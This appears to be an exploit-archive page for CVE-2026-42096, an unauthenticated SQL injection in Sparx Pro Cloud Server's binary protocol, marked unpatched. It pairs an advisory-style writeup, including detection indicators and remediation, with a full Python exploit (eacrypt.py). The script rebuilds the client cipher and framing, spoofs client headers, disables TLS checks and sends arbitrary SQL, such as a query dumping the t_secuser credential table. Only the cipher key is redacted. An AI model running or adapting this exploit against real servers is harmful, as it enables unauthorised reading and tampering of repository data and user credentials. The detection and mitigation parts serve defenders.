PoC Archive PoC Archive
Critical CVE-2026-42096 unpatched

Sparx Enterprise Architect / Pro Cloud Server Unauthenticated Binary-Protocol SQL Injection (CVE-2026-42096)

by br0x (sploit.tech) / Team Efigo · 2026-07-05

Severity
Critical
CVE
CVE-2026-42096
Category
network
Affected product
Sparx Systems Enterprise Architect / Pro Cloud Server (PCS)
Affected versions
See advisory (PoC tested against EA client build 1527 / internal build 481 protocol)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherbr0x (sploit.tech) / Team Efigo
CVE / AdvisoryCVE-2026-42096
Categorynetwork
SeverityCritical
CVSS ScoreN/A
StatusPoC
Tagssqli, unauthenticated, sparx, enterprise-architect, pro-cloud-server, binary-protocol, python
RelatedN/A

Affected Target

FieldValue
Software / SystemSparx Systems Enterprise Architect / Pro Cloud Server (PCS)
Versions AffectedSee advisory (PoC tested against EA client build 1527 / internal build 481 protocol)
Language / PlatformPython (PoC client), custom binary protocol over HTTP
Authentication RequiredNo
Network Access RequiredYes — HTTP(S) access to the PCS SparxCloudLink.sseap endpoint

Summary

Sparx Pro Cloud Server exposes a SparxCloudLink.sseap endpoint that accepts a proprietary binary protocol used by the Enterprise Architect desktop client to query the underlying repository database. Commands (including raw SQL query strings) are obfuscated with a simple custom substitution cipher rather than being authenticated or parameterized. An unauthenticated attacker who reproduces the client’s framing and cipher can submit arbitrary SQL to the server and receive the result set back, with no login required.


Vulnerability Details

Root Cause

The EA/PCS client-server protocol does not perform meaningful authentication or input validation on the SQL payload it sends to the server. Instead of protecting the query, the protocol obfuscates it with a short, reversible substitution cipher (mangle/demangle character reordering combined with a modulo-94 key-based substitution, see custom_encode/custom_decode in eacrypt.py). Because the cipher is a fixed, reproducible transform (not a real authentication/integrity mechanism), any client capable of building the correct binary frame can submit attacker-controlled SQL text that the server executes against the repository database.

Attack Vector

  1. Attacker crafts a raw SQL string (e.g. Select * from t_secuser).
  2. The string is length-prefixed and padded, then transformed via mangle() and custom_encode() using the (author-redacted) protocol key.
  3. The encoded payload is wrapped in the EA binary protocol framing (command bytes, repository/model name, length fields) mimicking a legitimate EA client request.
  4. The frame is POSTed to <host>/SparxCloudLink.sseap with EA client headers (EnterpriseArchitect-Build, User-Agent: Enterprise Architect/...) and no credentials.
  5. The PCS server decodes the cipher, executes the SQL against the backend repository DB, and returns the result as a zipped query.xml.

Impact

An unauthenticated network attacker can read or potentially modify arbitrary data in the EA repository database (project data, user credentials such as t_secuser, configuration), leading to full data disclosure/tampering of the modeling repository and potential downstream compromise of any system trusting EA repository data.


Environment / Lab Setup

Target: Sparx Pro Cloud Server exposing SparxCloudLink.sseap over HTTP(S)
Client:  Python 3 with requests, pycurl
Note:    The cipher key constant `k` in eacrypt.py is intentionally redacted by
         the original author to avoid trivial script-kiddie abuse; the protocol
         logic itself is complete and functional.

Proof of Concept

PoC Script

See eacrypt.py in this folder.

1
2
python3 eacrypt.py <URL_without_sparxcloudlink_path> <model_name> "<sql>"
python3 eacrypt.py https://pcs.target.local mymodel "Select * from t_secuser"

Running the script builds and sends the obfuscated binary-protocol request to SparxCloudLink.sseap and prints the returned query.xml (or raw response body if not a zip), demonstrating unauthenticated arbitrary SQL execution against the PCS repository.


Detection & Indicators of Compromise

- Unauthenticated POST requests to /SparxCloudLink.sseap from clients that
  never performed any prior EA license/session handshake.
- Requests carrying spoofed EnterpriseArchitect-Build / User-Agent headers
  but originating from non-EA-client tooling (scripted HTTP clients).
- Unusual or high-volume queries against repository tables such as
  t_secuser from the PCS service account.

Signs of compromise:

  • Unexpected reads of t_secuser or other sensitive repository tables.
  • Anomalous PCS server logs showing binary-protocol requests without corresponding legitimate EA client sessions.
  • Data exfiltration patterns (large query.xml responses) to unfamiliar source IPs.

Remediation

ActionDetail
Primary fixApply vendor patch / upgrade Sparx Pro Cloud Server to a fixed release per the vendor advisory
Interim mitigationRestrict network access to the PCS SparxCloudLink.sseap endpoint to trusted EA client networks only (firewall/VPN segmentation); monitor for anomalous unauthenticated traffic to this endpoint

References


Notes

Mirrored from https://github.com/br0xpl/sparx_hack on 2026-07-05.

eacrypt.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import sys
import requests
import urllib3
import pycurl
from io import BytesIO
import zipfile



k="HERE_SHOULD_BE_THE_KEY"
x=[4, 2, 0, 6, 3, 1, 5]
xr=[x.index(i) for i in range(7)]

def mangle(s:str) -> str:
    o=bytearray(s,"utf-8")
    for i in range((len(s) // 7)*7):
        o[i]=ord(s[((i // 7)*7)+xr[i % 7]])
    return o.decode("utf-8")


def demangle(s:str) -> str:
    o=bytearray(s,"utf-8")
    for i in range((len(s) // 7)*7):
        o[i]=ord(s[((i // 7)*7)+x[i % 7]])
    return o.decode("utf-8")





def custom_decode(ciphertext: str, key: str) -> str:
    """
    Decode using the custom cipher.

    ciphertext : input string (Unicode)
    key       : key string (Unicode)

    Returns plaintext string (printable ASCII 0x20–0x7E).
    """
    output_chars = []
    length = len(ciphertext)
    key_len = len(key)

    for i, ch in enumerate(ciphertext):
        # load plaintext character as integer
        c_val = ord(ch)

        # derive key value (word from key string)
        k_val = ord(key[(i+length) % key_len])

        c_val = c_val - 0x20 - k_val + 0x40
        
        if c_val<0x20:
            c_val=c_val+0x5E
        if c_val>(0x5E+0x20):
            c_val=c_val-0x5E

        output_chars.append(chr(c_val))

    return "".join(output_chars)




def custom_encode(plaintext: str, key: str) -> str:
    """
    Encode plaintext using the custom cipher.

    plaintext : input string (Unicode)
    key       : key string (Unicode)

    Returns encoded string (printable ASCII 0x20–0x7E).
    """
    output_chars = []
    length = len(plaintext)
    key_len = len(key)

    for i, ch in enumerate(plaintext):
        # load plaintext character as integer
        c_val = ord(ch)

        # subtract 0x40
        c_val = c_val - 0x40

        # derive key value (word from key string)
        k_val = ord(key[(i+length) % key_len])
        
        # add key
        total = k_val + c_val

        # modulo 94
        total = total % 0x5E

        # add 0x20 (ensures printable ASCII)
        encoded_val = total + 0x20

        # append encoded character
        output_chars.append(chr(encoded_val))

    return "".join(output_chars)


def test(debug_type, debug_msg):
    print("debug(%d): %s" % (debug_type, debug_msg))

if __name__ == "__main__":

    if (len(sys.argv)!=4):
        print("Usage: "+sys.argv[0]+" URL_without_sparxcloudlink_path model_name sql")
        exit(-1)

    host = sys.argv[1]
    repo = sys.argv[2]
    sqli = sys.argv[3]
    #url = "%s/SparxCloudLink.sseap?model=%s"%(host,repo)
    url = "%s/SparxCloudLink.sseap"%(host)
    print(url)    
    
    
    sqli = str(len(sqli))+":"+sqli
    
    fill="+d1XL|@"
    sqli += fill[-(7-(len(sqli)%7)):]
    print (sqli)
    #sqli="23:Select * from t_secuser|@"
    ret=custom_encode(mangle(sqli),k)
    
    
    binary=bytes([0,0,0,1,0,0])
    binary+=bytes.fromhex('%04X'%(len(ret)*2+66))
    
    
    binary+=bytes.fromhex('%04X'%(len(repo)))
    for c in repo:
        binary+=bytes([ord(c),0])
    
    
    binary+=bytes([0,1,0,0])
    binary+=bytes.fromhex('%04X'%(len(ret)))
    
    for c in ret:
        binary+=bytes([ord(c),0])
    
    c=pycurl.Curl()
    c.setopt(pycurl.URL, url)
    c.setopt(pycurl.READDATA, BytesIO(binary))
    c.setopt(pycurl.POSTFIELDSIZE, len(binary))
    c.setopt(pycurl.POST, 1)
    c.setopt(pycurl.VERBOSE, 1)
    c.setopt(pycurl.DEBUGFUNCTION, test)
    c.setopt(pycurl.HTTPHEADER, ['Content-Type: ' , 'Accept: ', 'EnterpriseArchitect-Build: 1527' , 'EnterpriseArchitect-InternalBuild: 481' , 'User-Agent: Enterprise Architect/15.1.1527' , 'Connection: Keep-Alive' , 'Cache-Control: no-cache'])
    body = BytesIO()
    c.setopt(pycurl.WRITEDATA, body)
    c.setopt(pycurl.SSL_VERIFYPEER, 0)
    c.setopt(pycurl.SSL_VERIFYHOST, 0)
    c.perform()
    c.close()
    
    try:
        z = zipfile.ZipFile(body)
        print(z.read('query.xml').decode('utf-8'))
    except zipfile.BadZipFile:
        sys.stdout.buffer.write(body.getvalue())